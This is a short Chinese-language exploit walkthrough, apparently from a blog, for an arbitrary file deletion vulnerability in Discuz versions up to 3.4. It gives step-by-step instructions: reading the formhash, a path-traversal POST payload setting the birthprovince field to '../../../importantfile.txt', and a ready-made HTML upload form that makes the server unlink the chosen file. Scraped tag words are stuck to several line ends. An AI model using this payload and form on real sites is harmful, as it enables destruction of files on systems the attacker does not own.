漏洞影响了Discuz 3.4 如下的全部版本。
该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。php
1.进入设置-我的资料,先在页面源代码找到formhash值,能够看到值为2599b5e5html
2.开启一个插件Hackbar
Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=2599b5e5
ide
执行后会显示一片空白,你再刷新下或从新访问下就行了。
函数
3.出生地被修改为要删除的文件。
最后构造表单执行删除文件spa
<form action="http://192.168.199.217/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="720c16c3"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
生成.html,上面的须要本身修改。
4.而后随便上传一张图片,就能删除本身要删除的。插件
5.再访问回去看一下。code